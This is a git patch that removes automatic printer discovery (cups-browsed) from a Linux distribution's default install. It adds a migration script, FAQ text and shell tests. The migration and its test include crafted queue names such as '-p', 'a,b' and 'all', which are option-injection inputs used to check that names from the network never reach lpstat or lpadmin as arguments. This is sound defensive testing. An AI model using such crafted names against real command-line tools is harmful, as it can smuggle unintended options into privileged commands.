+0200 Subject: [PATCH 127/336] Temporarily remove automatic printer discovery cups-browsed is the daemon that watches the network and creates print queues by itself. Hardening it took a root daemon with a predictable cache down to a confined service account, but a daemon that turns anything advertising itself on the network into a print queue is a lot of exposure for a convenience, so it comes out of the default install while that is reworked. Only the discovery half: CUPS itself stays and printing keeps working, with each printer added by hand in Print Settings. The migration disables the unit before removing the package because that is the only order that works: pacman deletes the unit file but not the enable symlink, and once the unit is gone systemd can no longer resolve it by name to clean that up. It then removes the queues discovery generated. cups-browsed keeps those when it stops, since KeepGeneratedQueuesOnShutdown defaults to Yes, and they route through its own implicitclass backend, which goes with the package, so they cannot print again. Idle ones go. A queue with jobs on it is left alone and named: implicitclass only needs cups-browsed to choose a destination, so a job already past that point finishes on its own, and deleting the queue would abort it. One printer's job does not hold up the removal. A printer added by hand has an ipp:// or usb:// device and is left where it is. A queue whose jobs cannot be asked about is left alone rather than assumed idle, including one named so that lpstat would misread it -- "all" is its word for every destination, and a leading dash or a comma reads as another option or a list. Where CUPS does not answer at all, or a queue will not delete, discovery is still stopped but the package stays and no marker is written. omarchy-migrate records a migration for the user as soon as it exits zero, so that is where the machine stays until someone removes the package by hand, and the message says so rather than implying a retry. The queue list is read under LC_ALL=C because lpstat translates "device for", and captured rather than piped, so a cupsd it cannot reach is reported instead of reading like a machine with nothing to clean up. It removes with plain pacman -R rather than omarchy-pkg-drop, which passes -n and would discard /etc/cups/cups-browsed.conf instead of keeping it as a .pacsave. A removal meant to be temporary should not delete the machine's copy of its own configuration. Without -s either, so it only ever removes the package it names: sweeping newly unneeded dependencies is nothing today, but it is not a promise a rolling dependency graph can keep. Queue names come off the network, since cups-browsed names its queues after what the printer advertised. CUPS allows every printable character but space, tab, / and #, and lpstat and lpadmin take a destination as an option value, so a name with a leading dash or a comma is reported rather than passed to them and guessed at. Migration state is per user, so a machine-wide marker records the one removal. Without it, an account whose first migration run came after someone deliberately reinstalled discovery would quietly take it back out again. The install-time override for cups-browsed.conf now waits for cups-browsed rather than for CUPS. Guarding it on a file CUPS still ships would write a configuration file for a package nothing installed, and pacman would later land the package's own copy beside it as a .pacnew. The hardened configuration stays in the tree. omarchy-settings still ships the cups-browsed.conf override, the sysusers account and the service drop-in, so they are what discovery returns onto. Co-Authored-By: Codex XHigh --- bin/omarchy-upgrade-to-quattro | 1 - install/config/enable-services.sh | 8 +- install/omarchy-base.packages | 1 - install/post-install/pacman.sh | 19 +- manual/46-faq.md | 8 +- migrations/1788009111.sh | 131 +++++++ test/acceptance.d/system-test.sh | 67 +--- .../cups-browsed-removal-migration-test.sh | 364 ++++++++++++++++++ test/shell.d/cups-hardening-test.sh | 31 +- 9 files changed, 563 insertions(+), 67 deletions(-) create mode 100644 migrations/1788009111.sh create mode 100644 test/shell.d/cups-browsed-removal-migration-test.sh diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index 32ea6465..bf103dc0 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -1364,7 +1364,6 @@ EOF as_root systemctl disable docker.service >/dev/null 2>&1 || true enable_system_service cups.service - enable_system_service cups-browsed.service enable_system_service avahi-daemon.service enable_system_service linux-modules-cleanup.service enable_system_service docker.socket diff --git a/install/config/enable-services.sh b/install/config/enable-services.sh index b7e2ba8b..964f0867 100644 --- a/install/config/enable-services.sh +++ b/install/config/enable-services.sh @@ -1,16 +1,14 @@ # Enable services only. Installs are followed by reboot, so don't start/reload # daemons mid-install. UFW and hardware-gated services stay in their own scripts. systemctl enable cups.service -systemctl enable cups-browsed.service systemctl enable avahi-daemon.service systemctl enable linux-modules-cleanup.service systemctl enable docker.socket systemctl enable systemd-resolved.service systemctl enable NetworkManager.service -# Don't let network-online.target (pulled in by cups-browsed) hold up -# graphical.target waiting for DHCP/Wi-Fi association. Nothing in the session -# needs to block on the network. Mirrors the systemd-networkd-wait-online mask -# in install/hardware/network.sh. +# Don't let network-online.target hold up graphical.target waiting for +# DHCP/Wi-Fi association. Nothing in the session needs to block on the network. +# Mirrors the systemd-networkd-wait-online mask in install/hardware/network.sh. systemctl mask NetworkManager-wait-online.service systemctl enable power-profiles-daemon.service systemctl enable sddm.service diff --git a/install/omarchy-base.packages b/install/omarchy-base.packages index f4c5e2ef..c5013ba6 100644 --- a/install/omarchy-base.packages +++ b/install/omarchy-base.packages @@ -17,7 +17,6 @@ chromium clang cliamp cups -cups-browsed cups-filters cups-pk-helper ddcutil diff --git a/install/post-install/pacman.sh b/install/post-install/pacman.sh index 327b812f..22422820 100644 --- a/install/post-install/pacman.sh +++ b/install/post-install/pacman.sh @@ -3,13 +3,22 @@ cp -f "$OMARCHY_PATH/default/pacman/pacman-${OMARCHY_MIRROR:-stable}.conf" /etc/pacman.conf cp -f "$OMARCHY_PATH/default/pacman/mirrorlist-${OMARCHY_MIRROR:-stable}" /etc/pacman.d/mirrorlist -# omarchy-settings skips these overrides until CUPS is actually present to -# avoid pacman creating .pacnew files during ISO package installation. -if [[ -f $OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf && -f /etc/cups/cups-files.conf ]]; then +# Each override waits for the package that owns the file it replaces, the way +# omarchy-settings does, so pacman does not turn it into a .pacnew during ISO +# package installation. +if [[ -f $OMARCHY_PATH/etc-overrides/cups-cups-files.conf && -f /etc/cups/cups-files.conf ]]; then + install -m 0640 -o root -g cups "$OMARCHY_PATH/etc-overrides/cups-cups-files.conf" /etc/cups/cups-files.conf + rm -f /etc/cups/cups-files.conf.pacnew +fi + +# cups-browsed is no longer part of the default install, so this waits for a +# machine that adds discovery back by hand. Writing the override before then +# would leave a configuration file for a package nothing installed, and pacman +# would later land the package's own copy beside it as a .pacnew. +if [[ -f $OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf && -f /etc/cups/cups-browsed.conf ]]; then systemd-sysusers /etc/sysusers.d/omarchy-cups-browsed.conf cp -f "$OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf" /etc/cups/cups-browsed.conf - install -m 0640 -o root -g cups "$OMARCHY_PATH/etc-overrides/cups-cups-files.conf" /etc/cups/cups-files.conf - rm -f /etc/cups/cups-browsed.conf.pacnew /etc/cups/cups-files.conf.pacnew + rm -f /etc/cups/cups-browsed.conf.pacnew fi source "$OMARCHY_INSTALL/hardware/pacman.sh" diff --git a/manual/46-faq.md b/manual/46-faq.md index 65e1f2e7..6c625407 100644 --- a/manual/46-faq.md +++ b/manual/46-faq.md @@ -44,7 +44,13 @@ The plain open source Chromium build doesn't ship with the OAuth credentials tha ### How do I add a printer? -Printing is set up and running out of the box, so a printer on your network is usually already discovered. Launch _Print Settings_ from the app launcher (`Super + Space`) to see what's there, add one by hand, or set the default. Printing to a PDF file works without any printer at all. +Printing is set up and running out of the box, and you add each printer yourself from _Print Settings_ in the app launcher (`Super + Space`). + +Choose _Add_, and give it a moment to look: a printer plugged in over USB, and most network printers, are found for you. If yours isn't in the list, pick _Network Printer > Internet Printing Protocol (ipp)_ and enter its address — the printer's own display or its web page will tell you what that is, usually something like `192.168.1.50` with a queue of `ipp/print`. _Forward_ then offers a driver, where a modern printer works best on the driverless _IPP Everywhere_ profile and an older one wants the model's own driver. + +Right-click a printer and choose _Set as Default_ to pick which one your apps reach for first, and _Properties_ to set paper size, duplex and quality. + +Automatic discovery, where printers on the network appear without being added, is temporarily switched off while it's reworked, which is why the first step above is yours rather than automatic. Printing to a PDF file works without any printer at all. ### How do I change where screenshots or screenrecordings are saved? diff --git a/migrations/1788009111.sh b/migrations/1788009111.sh new file mode 100644 index 00000000..1f0d67f5 --- /dev/null +++ b/migrations/1788009111.sh @@ -0,0 +1,131 @@ +echo "Temporarily remove automatic printer discovery" + +# cups-browsed is the daemon that watches the network and creates print queues +# by itself. Hardening it (1787815267) took a root daemon with a predictable +# cache down to a confined service account, but a daemon that turns anything +# advertising itself on the network into a print queue is a lot of exposure for +# a convenience, so it comes out of the default install while that is reworked. +# Temporarily, and only the discovery half: CUPS itself stays, printing keeps +# working, and a printer is added by hand in Print Settings instead of +# appearing on its own. +machine_marker="${OMARCHY_CUPS_BROWSED_REMOVAL_MARKER:-/var/lib/omarchy/migrations/1788009111}" + +[[ ! -e $machine_marker ]] || exit 0 + +# Nothing to do on a machine that never had it. Checked before any sudo so those +# runs never prompt for a password, and before the marker so no machine pays a +# password prompt for a removal it does not need. +omarchy-pkg-present cups-browsed || exit 0 + +# Ask pacman whether the removal is possible before touching the service. If +# something here depends on cups-browsed, the alternative is a machine whose +# discovery daemon has been stopped and whose package removal then failed -- +# broken rather than removed. +if ! pacman -R --print cups-browsed >/dev/null 2>&1; then + echo " Something else on this machine still depends on cups-browsed, so it is staying installed." + exit 0 +fi + +# Disable before removing, and this is the only window in which it works. +# pacman deletes the unit file but not the enable symlink systemd wrote under +# /etc, and once the unit is gone `systemctl disable` refuses it by name and +# leaves the symlink dangling with nothing left that can clean it. Stopping is +# part of the same step: a daemon whose executable has been unlinked keeps +# running until it is told not to. A masked or already-disabled unit reports +# not-enabled and is left alone. Doing it before the queue list is read also +# means the list cannot grow a new entry while it is being acted on. +if systemctl is-enabled --quiet cups-browsed.service 2>/dev/null; then + sudo systemctl disable --now cups-browsed.service +elif systemctl is-active --quiet cups-browsed.service 2>/dev/null; then + sudo systemctl stop cups-browsed.service +fi + +# cups-browsed keeps the queues it generated when it stops -- +# KeepGeneratedQueuesOnShutdown defaults to Yes and nothing here overrides it -- +# and those queues route through its own implicitclass backend, which goes with +# the package, so none of them can print again. The idle ones are removed rather +# than left in Print Settings looking like printers; the ones with jobs on them +# are handled below. Only queues on that backend: a printer added by hand has an +# ipp:// or usb:// device and is left alone. +# +# LC_ALL=C because lpstat translates "device for", and on a German or French +# machine the untranslated pattern would match nothing and read exactly like a +# machine that had no queues to clean up. Captured rather than piped so that +# failing to reach cupsd is distinguishable from finding nothing. The name is +# matched greedily because CUPS allows a colon in a queue name but never a +# space, so the last ": implicitclass://" is the separator and an earlier colon +# belongs to the name. +if ! queue_report=$(LC_ALL=C lpstat -v 2>/dev/null); then + echo " Could not ask CUPS which queues discovery had created." + echo " Discovery is off, but cups-browsed stays installed; remove it by hand once CUPS answers." + exit 0 +fi + +generated_queues=$(printf '%s\n' "$queue_report" | + sed -n 's|^device for \(.*\): implicitclass://.*|\1|p') + +unremoved=0 + +while IFS= read -r queue; do + [[ -n $queue ]] || continue + + # A queue name is whatever the printer advertised, put through cups-browsed's + # own sanitizer. `lpstat -o` takes its destination as an optional argument, so + # a leading dash reads as the next option and a comma as a list separator, and + # "all" is its word for every destination. The jobs on such a queue cannot be + # asked about, so it is left alone and named. Never a reason to keep the + # package, though: that would hand a printer that picked its own name a veto + # over the removal. + if [[ $queue == -* || $queue == *,* || $queue == "all" ]]; then + echo " Cannot safely ask about jobs on the queue named '$queue'; remove it in Print Settings." + continue + fi + + # Removing a queue aborts what is printing on it. The implicitclass backend + # only needs cups-browsed to pick a destination, so a job already past that + # point finishes on its own even though the daemon has stopped -- and a job + # that has not is one this cannot route anyway. Either way the queue is left + # for the person whose job it is, and named so they know to remove it. + if job_report=$(LC_ALL=C lpstat -o "$queue" 2>/dev/null); then + if [[ -n $job_report ]]; then + echo " $queue still has jobs, so it is being left alone." + echo " Once they finish or are cancelled, remove it in Print Settings; it cannot print again." + continue + fi + else + echo " Could not check for jobs on $queue, so it is being left alone." + continue + fi + + if ! sudo lpadmin -x "$queue"; then + echo " Could not remove the queue $queue." + unremoved=1 + fi +done <<<"$generated_queues" + +# A queue that would not delete is a CUPS that is not answering as expected, so +# the package stays rather than deleting the backend out from under it. Discovery +# is stopped either way, which is the half that mattered. omarchy-migrate records +# this migration for the user as soon as it exits zero, so this is where the +# machine stays until someone removes the package by hand -- said plainly rather +# than dressed up as a retry. +if ((unremoved)); then + echo " Leaving cups-browsed installed. Discovery is off; remove the package by hand once those queues are gone." + exit 0 +fi + +# Raw pacman rather than omarchy-pkg-drop, which passes -n: that discards the +# files pacman has marked as backups instead of renaming them .pacsave, and +# /etc/cups/cups-browsed.conf is one of them. A removal meant to be temporary +# should leave the machine's copy of its own configuration behind. Plain -R +# rather than -Rs, so this only ever removes the one package it names: -s also +# sweeps dependencies that have become unneeded, which is nothing today but is +# a promise the dependency graph of a rolling distribution cannot keep. +# pacman's systemd hook reloads the system manager once the unit file goes. +sudo pacman -R --noconfirm cups-browsed + +# Migration state is per user, so every account on this machine runs every +# migration. Without machine-wide state, an account whose first run comes after +# someone deliberately reinstalled cups-browsed would quietly take it back out +# again. This records that the machine has had its one removal. +sudo install -Dm644 /dev/null "$machine_marker" diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index 899cc6e7..deb42f4e 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -47,7 +47,7 @@ verify_services() { local unit for unit in \ - avahi-daemon.service cups.service cups-browsed.service docker.socket \ + avahi-daemon.service cups.service docker.socket \ NetworkManager.service power-profiles-daemon.service sddm.service \ systemd-resolved.service ufw.service; do systemctl is-enabled --quiet "$unit" || fail "core system services are enabled" "$unit is not enabled" @@ -65,29 +65,24 @@ verify_services() { } verify_printing_security() { - local cups_browsed_pid lpinfo_output printer_name printer_process printer_tmp + local lpinfo_output ! pacman -Q cups-pdf >/dev/null 2>&1 || fail "CUPS-PDF is absent" pass "the root CUPS-PDF backend is not installed" - getent passwd cups-browsed >/dev/null || fail "the cups-browsed service account exists" - [[ $(systemctl show -P User cups-browsed.service) == "cups-browsed" ]] || - fail "cups-browsed runs as its service account" - [[ $(systemctl show -P Group cups-browsed.service) == "cups-browsed" ]] || - fail "cups-browsed runs as its service group" - systemctl is-active --quiet cups-browsed.service || fail "cups-browsed is running" + # Automatic discovery is temporarily out of the default install: a daemon that + # turns anything advertising itself on the network into a print queue is more + # exposure than the convenience is worth while it is reworked. CUPS itself + # stays, so what a stock machine proves here is that printing runs and that + # the desktop user still cannot administer it without authenticating. + ! pacman -Q cups-browsed >/dev/null 2>&1 || fail "automatic printer discovery is not installed" + ! systemctl is-enabled --quiet cups-browsed.service 2>/dev/null || + fail "no discovery service is enabled" + ! systemctl is-active --quiet cups-browsed.service 2>/dev/null || + fail "no discovery service is running" + pass "automatic printer discovery is absent from a stock install" - cups_browsed_pid=$(systemctl show -P MainPID cups-browsed.service) - [[ -r /proc/$cups_browsed_pid/status ]] || fail "cups-browsed has a readable process status" - [[ $(awk '/^Uid:/{print $2}' "/proc/$cups_browsed_pid/status") != 0 ]] || - fail "cups-browsed does not run with root UID" - [[ $(awk '/^CapEff:/{print $2}' "/proc/$cups_browsed_pid/status") == "0000000000000000" ]] || - fail "cups-browsed has no effective Linux capabilities" - - [[ $(stat -c '%a %U:%G' /var/cache/cups-browsed) == "750 cups-browsed:cups-browsed" ]] || - fail "cups-browsed has an isolated cache" "$(stat -c '%a %U:%G' /var/cache/cups-browsed)" - [[ " $(id -nG cups-browsed) " != *" cups "* ]] || - fail "cups-browsed is separate from the print-filter group" + systemctl is-active --quiet cups.service || fail "CUPS is running" if lpinfo_output=$(LC_ALL=C timeout 10 lpinfo -v &1); then fail "the desktop user cannot administer CUPS without authentication" @@ -95,39 +90,7 @@ verify_printing_security() { fail "CUPS explicitly denies unauthenticated desktop administration" "$lpinfo_output" fi - pass "CUPS discovery is isolated from root, filters, and passwordless desktop administration" - - # A live driverless printer proves the non-root daemon can still discover and - # create queues without the CAP_NET_BIND_SERVICE Ubuntu carries downstream. - printer_name="OmarchyAcceptancePrinter" - printer_tmp=$(mktemp -d) - printf '#!/bin/bash\nexit 0\n' >"$printer_tmp/command" - chmod 0700 "$printer_tmp/command" - mkdir -m 0700 "$printer_tmp/spool" - - ippeveprinter -p 18631 -d "$printer_tmp/spool" -c "$printer_tmp/command" "$printer_name" \ - >"$printer_tmp/ippeveprinter.log" 2>&1 & - printer_process=$! - - printing_test_cleanup() { - kill "$printer_process" >/dev/null 2>&1 || true - wait "$printer_process" >/dev/null 2>&1 || true - rm -rf "$printer_tmp" - } - trap printing_test_cleanup EXIT - - for _ in {1..30}; do - lpstat -v "$printer_name" 2>/dev/null | grep -q "implicitclass://$printer_name/" && break - sleep 1 - done - - lpstat -v "$printer_name" 2>/dev/null | grep -q "implicitclass://$printer_name/" || - fail "non-root cups-browsed discovers a driverless IPP printer" "$(<"$printer_tmp/ippeveprinter.log")" - - printing_test_cleanup - trap - EXIT - - pass "non-root cups-browsed still creates driverless IPP queues without capabilities" + pass "CUPS runs with passwordless desktop administration still denied" } verify_runtime_tools() { diff --git a/test/shell.d/cups-browsed-removal-migration-test.sh b/test/shell.d/cups-browsed-removal-migration-test.sh new file mode 100644 index 00000000..82797b4d --- /dev/null +++ b/test/shell.d/cups-browsed-removal-migration-test.sh @@ -0,0 +1,364 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +migration="$ROOT/migrations/1788009111.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +mkdir -p "$mock_bin" "$test_tmp/var/lib/omarchy/migrations" + +# Every privileged step is stubbed: a real run here would take printer discovery +# off the developer's own machine. +cat >"$mock_bin/omarchy-pkg-present" <<'SH' +#!/bin/bash +[[ " $BROWSED_INSTALLED " == *" $1 "* ]] +SH + +# pacman answers the removal preflight from the state each case sets up, and +# logs the removal itself so the flags it is called with are visible. +cat >"$mock_bin/pacman" <<'SH' +#!/bin/bash +printf 'pacman\t%s\n' "$*" >>"$BROWSED_LOG" +[[ $* == *--print* ]] || exit 0 +[[ -z $BROWSED_REMOVAL_BLOCKED ]] +SH + +cat >"$mock_bin/systemctl" <<'SH' +#!/bin/bash +printf 'systemctl\t%s\n' "$*" >>"$BROWSED_LOG" +unit=${*: -1} +case $1 in + is-enabled) [[ " $BROWSED_ENABLED " == *" $unit "* ]] ;; + is-active) [[ " $BROWSED_ACTIVE " == *" $unit "* ]] ;; + *) : ;; +esac +SH + +cat >"$mock_bin/sudo" <<'SH' +#!/bin/bash +printf 'sudo\t%s\n' "$*" >>"$BROWSED_LOG" +exec "$@" +SH + +cat >"$mock_bin/install" <<'SH' +#!/bin/bash +printf 'install\t%s\n' "$*" >>"$BROWSED_LOG" +exec /usr/bin/install "$@" +SH + +# lpstat reports the queues cups-browsed generated. Only those route through its +# implicitclass backend; the ipp:// and usb:// entries are printers a person +# added and must survive. +cat >"$mock_bin/lpstat" <<'SH' +#!/bin/bash +printf 'lpstat\t%s\n' "$*" >>"$BROWSED_LOG" +case $1 in + -v) + [[ -z $BROWSED_LPSTAT_FAILS ]] || exit 1 + # lpstat translates "device for". Only a caller that pinned the locale gets + # the string the migration parses. + if [[ ${LC_ALL:-} == "C" ]]; then + printf '%s\n' "$BROWSED_QUEUES" + else + printf '%s\n' "$BROWSED_QUEUES" | sed 's|^device for |Gerät für |' + fi + ;; + -o) + [[ -z $BROWSED_LPSTAT_O_FAILS ]] || exit 1 + # Jobs are listed per queue: "- ". + [[ " $BROWSED_BUSY_QUEUES " == *" $2 "* ]] && printf '%s-7 alice 1024\n' "$2" + ;; +esac +exit 0 +SH + +cat >"$mock_bin/lpadmin" <<'SH' +#!/bin/bash +printf 'lpadmin\t%s\n' "$*" >>"$BROWSED_LOG" +[[ -z $BROWSED_LPADMIN_FAILS ]] +SH + +chmod +x "$mock_bin"/* + +log="$test_tmp/actions.log" +output="$test_tmp/migration.out" +marker="$test_tmp/var/lib/omarchy/migrations/1788009111" + +run_migration() { + : >"$log" + : >"$output" + + # No LC_ALL in the environment, so the mock above sees "C" only when the + # migration pinned it for the call itself -- which is what a non-English + # desktop depends on. + env -u LC_ALL -u LANGUAGE \ + BROWSED_LOG="$log" \ + BROWSED_INSTALLED="${installed:-}" \ + BROWSED_ENABLED="${enabled:-}" \ + BROWSED_ACTIVE="${active:-}" \ + BROWSED_REMOVAL_BLOCKED="${blocked:-}" \ + BROWSED_QUEUES="${queues:-}" \ + BROWSED_BUSY_QUEUES="${busy:-}" \ + BROWSED_LPSTAT_FAILS="${lpstat_fails:-}" \ + BROWSED_LPADMIN_FAILS="${lpadmin_fails:-}" \ + BROWSED_LPSTAT_O_FAILS="${lpstat_o_fails:-}" \ + PATH="$mock_bin:$PATH" \ + OMARCHY_PATH="$ROOT" \ + OMARCHY_CUPS_BROWSED_REMOVAL_MARKER="${use_marker:-$marker}" \ + bash -euo pipefail "$migration" >"$output" +} + +# ------------------------------------------------ a machine that has discovery + +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service cups.service" +blocked="" +# CUPS allows a colon in a destination name but never a space, so "Front:Desk" +# is a legal queue and the separator is the last ": implicitclass://". +queues=$'device for Office: implicitclass://Office/\ndevice for Front:Desk: implicitclass://Front:Desk/\ndevice for -p: implicitclass://-p/\ndevice for a,b: implicitclass://a,b/\ndevice for all: implicitclass://all/\ndevice for Desk: ipp://192.168.1.9/ipp/print\ndevice for Attic: usb://HP/LaserJet%20P1102' +rm -f "$marker" +run_migration + +grep -qxF $'sudo\tsystemctl disable --now cups-browsed.service' "$log" || + fail "the removal disables and stops the discovery service" "$(cat "$log")" +pass "the removal disables and stops the discovery service" + +# -Rns would discard /etc/cups/cups-browsed.conf rather than keep it as a +# .pacsave, and a removal meant to be temporary must not delete configuration. +grep -qxF $'pacman\t-R --noconfirm cups-browsed' "$log" || + fail "the removal keeps configuration pacman marked as a backup" "$(cat "$log")" +if grep -qE -- '-Rns|-Rn ' "$log"; then + fail "the removal never passes -n" "$(cat "$log")" +fi +# -s would also sweep dependencies that became unneeded, which is a promise a +# rolling dependency graph cannot keep. +if grep -q -- '-Rs --noconfirm' "$log"; then + fail "the removal names only the package it means to remove" "$(cat "$log")" +fi +pass "the removal keeps the machine's own cups-browsed.conf and touches nothing else" + +# pacman deletes the unit file but not the enable symlink, and once the unit is +# gone systemd cannot resolve it by name to clean that up. +disable_line=$(grep -n 'disable --now' "$log" | tail -1 | cut -d: -f1 || true) +removal_line=$(grep -n $'^pacman\t-R --noconfirm' "$log" | head -1 | cut -d: -f1 || true) +[[ -n $disable_line && -n $removal_line ]] || + fail "the removal both disables the unit and removes the package" "$(cat "$log")" +(( disable_line < removal_line )) || + fail "the removal disables before the unit file goes" "$(cat "$log")" +pass "the removal disables before the unit file goes" + +# cups-browsed keeps its generated queues on shutdown, and they print through +# the implicitclass backend that goes with the package. +grep -qxF $'sudo\tlpadmin -x Office' "$log" || + fail "the queues discovery generated are removed with it" "$(cat "$log")" +grep -q 'lpadmin -x Desk' "$log" && + fail "a printer added by hand over ipp survives" "$(cat "$log")" +grep -q 'lpadmin -x Attic' "$log" && + fail "a printer added by hand over usb survives" "$(cat "$log")" +grep -qxF $'sudo\tlpadmin -x Front:Desk' "$log" || + fail "a queue whose name contains a colon is still matched" "$(cat "$log")" + +# cups-browsed names queues after what the printer advertised, so the name came +# off the network. lpstat and lpadmin take a destination as an option value: a +# leading dash reads as another option and a comma separates a list. +if grep -qF -- $'lpstat\t-o -p' "$log"; then + fail "a queue named like an option is never passed to lpstat" "$(cat "$log")" +fi +if grep -q -- 'lpadmin -x -p' "$log"; then + fail "a queue named like an option is never passed to lpadmin" "$(cat "$log")" +fi +if grep -q 'lpadmin -x a,b' "$log"; then + fail "a queue name holding a comma is never passed as a destination list" "$(cat "$log")" +fi +if grep -qF -- $'lpstat\t-o all' "$log"; then + fail "a queue named all is never asked about, since lpstat reads it as every destination" "$(cat "$log")" +fi +grep -qF -- "Cannot safely ask about jobs on the queue named '-p'" "$output" || + fail "a queue that cannot be asked about safely is reported" "$(cat "$output")" +pass "generated queues go, hand-added printers stay, unaddressable names are reported" + +# The queues have to go while cups-browsed's backend is still installed. +cleanup_line=$(grep -n 'lpadmin -x' "$log" | tail -1 | cut -d: -f1 || true) +[[ -n $cleanup_line ]] || fail "the removal cleans up generated queues" "$(cat "$log")" +(( cleanup_line < removal_line )) || + fail "generated queues go before the backend that serves them" "$(cat "$log")" +pass "generated queues go before the backend that serves them" + +[[ -f $marker ]] || fail "the removal records machine-wide completion" +pass "the removal records machine-wide completion" + +# ------------------------------------ a second user, after a deliberate reinstall + +# Migration state is per user. The account that runs this after someone put +# discovery back on purpose must not quietly take it away again. +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service cups.service" +run_migration + +[[ ! -s $log ]] || fail "a machine that already had its removal is left alone" "$(cat "$log")" +pass "a second user does not undo a deliberate reinstall" + +# ----------------------------------------- a machine that never had discovery + +installed="" +enabled="" +active="cups.service" +use_marker="$test_tmp/var/lib/omarchy/migrations/never-had-it" +run_migration + +[[ ! -s $log ]] || fail "a machine without discovery is left alone" "$(cat "$log")" +[[ ! -e $use_marker ]] || + fail "a machine with nothing to remove is not made to pay for a marker" "$(cat "$log")" +pass "a machine without discovery does no privileged work and gets no password prompt" + +# ------------------------------------------------- a blocked package removal + +# Something depending on cups-browsed makes pacman refuse. Stopping the service +# first and only then discovering that would leave discovery broken rather than +# removed. +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service cups.service" +blocked="1" +use_marker="$test_tmp/var/lib/omarchy/migrations/blocked" +run_migration + +grep -q 'disable --now' "$log" && + fail "a refused removal never stops the service" "$(cat "$log")" +if grep -q $'^pacman\t-R --noconfirm' "$log"; then + fail "a refused removal does not go on to remove anything" "$(cat "$log")" +fi +[[ ! -e $use_marker ]] || fail "a refused removal is not recorded as done" +# The preflight has to ask about the same command the removal will run. +grep -qxF $'pacman\t-R --print cups-browsed' "$log" || + fail "the preflight asks pacman about the removal it will actually run" "$(cat "$log")" +pass "a removal pacman would refuse changes nothing at all" + +# --------------------------------------------------- a queue that is printing + +# lpadmin -x cancels the jobs on the queue it removes. A stale queue can be +# deleted whenever someone notices it; an aborted print cannot come back. +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service cups.service" +blocked="" +queues=$'device for Office: implicitclass://Office/\ndevice for Spare: implicitclass://Spare/' +busy="Office" +use_marker="$test_tmp/var/lib/omarchy/migrations/printing" +run_migration + +# The implicitclass backend only needs cups-browsed to choose a destination, so +# a job already past that point finishes even though the daemon has stopped. +# Deleting the queue would abort it. +if grep -q 'lpadmin -x Office' "$log"; then + fail "a queue with jobs on it is left for them to finish" "$(cat "$log")" +fi +grep -qxF $'sudo\tlpadmin -x Spare' "$log" || + fail "an idle generated queue is still removed" "$(cat "$log")" +grep -q 'Office still has jobs' "$output" || + fail "a queue left alone is named so it can be removed later" "$(cat "$output")" +# One printer's job must not keep discovery on the machine. +grep -qxF $'sudo\tpacman -R --noconfirm cups-browsed' "$log" || + fail "a busy queue does not hold up the removal" "$(cat "$log")" +pass "a queue with jobs is left for them to finish, and does not hold up the removal" + +# ------------------------------------------------- a job query that fails + +# Treating a failed query as an idle queue would delete it and abort whatever +# was on it, which is the one outcome this is trying to avoid. +lpstat_o_fails="1" +use_marker="$test_tmp/var/lib/omarchy/migrations/nojobs" +run_migration + +if grep -q 'lpadmin -x' "$log"; then + fail "a queue whose jobs could not be checked is left alone" "$(cat "$log")" +fi +grep -q 'Could not check for jobs' "$output" || + fail "a job query that failed is said out loud" "$(cat "$output")" +pass "a queue whose jobs cannot be checked is left alone, not assumed idle" + +lpstat_o_fails="" + +# ------------------------------------------------------ CUPS out of reach + +# Failing to reach cupsd must not read like a machine with no queues to clean. +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service" +busy="" +lpstat_fails="1" +use_marker="$test_tmp/var/lib/omarchy/migrations/nocups" +run_migration + +if grep -q 'lpadmin -x' "$log"; then + fail "nothing is removed when the queue list could not be read" "$(cat "$log")" +fi +# Removing the backend without having read the queue list would strand every +# generated queue permanently, and the marker would stop anyone retrying. +if grep -q $'^pacman\t-R --noconfirm' "$log"; then + fail "the package waits until the queue list can be read" "$(cat "$log")" +fi +[[ ! -e $use_marker ]] || + fail "an unread queue list is not recorded as a finished removal" +grep -qi 'could not ask cups' "$output" || + fail "a queue list that could not be read is said out loud" "$(cat "$output")" +# Stopping discovery is the half that mattered, and it is idempotent. +grep -qxF $'sudo\tsystemctl disable --now cups-browsed.service' "$log" || + fail "discovery is still stopped when the queue list cannot be read" "$(cat "$log")" +pass "an unreadable queue list stops discovery but finalizes nothing" + +lpstat_fails="" + +# ------------------------------------------------ a queue that will not go + +# A queue left behind would route through a backend the removal is about to +# delete, so the package waits rather than stranding it for good. +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service cups.service" +blocked="" +queues=$'device for Office: implicitclass://Office/' +busy="" +lpstat_fails="" +lpadmin_fails="1" +use_marker="$test_tmp/var/lib/omarchy/migrations/stuck" +run_migration + +if grep -q $'^pacman\t-R --noconfirm' "$log"; then + fail "the package waits while a generated queue is still there" "$(cat "$log")" +fi +[[ ! -e $use_marker ]] || fail "a half-done cleanup is not recorded as finished" +grep -q 'Could not remove the queue Office' "$output" || + fail "a queue that would not go is named" "$(cat "$output")" +pass "a queue that will not go keeps the package and the marker back" + +lpadmin_fails="" + +# -------------------------------------------------- a masked but running daemon + +installed="cups-browsed" +enabled="" +active="cups-browsed.service" +blocked="" +queues="" +use_marker="$test_tmp/var/lib/omarchy/migrations/masked" +run_migration + +grep -qxF $'sudo\tsystemctl stop cups-browsed.service' "$log" || + fail "a running unit is stopped even when it is not enabled" "$(cat "$log")" +grep -q 'disable --now' "$log" && + fail "a masked unit is not disabled" "$(cat "$log")" +pass "a masked but running daemon is stopped without being disabled" + +# A machine whose discovery never created a queue has nothing to clean up, and +# no reason to reach for CUPS administration. +grep -q 'lpadmin' "$log" && + fail "no queues means no CUPS administration" "$(cat "$log")" +pass "a machine with no generated queues does not touch CUPS administration" diff --git 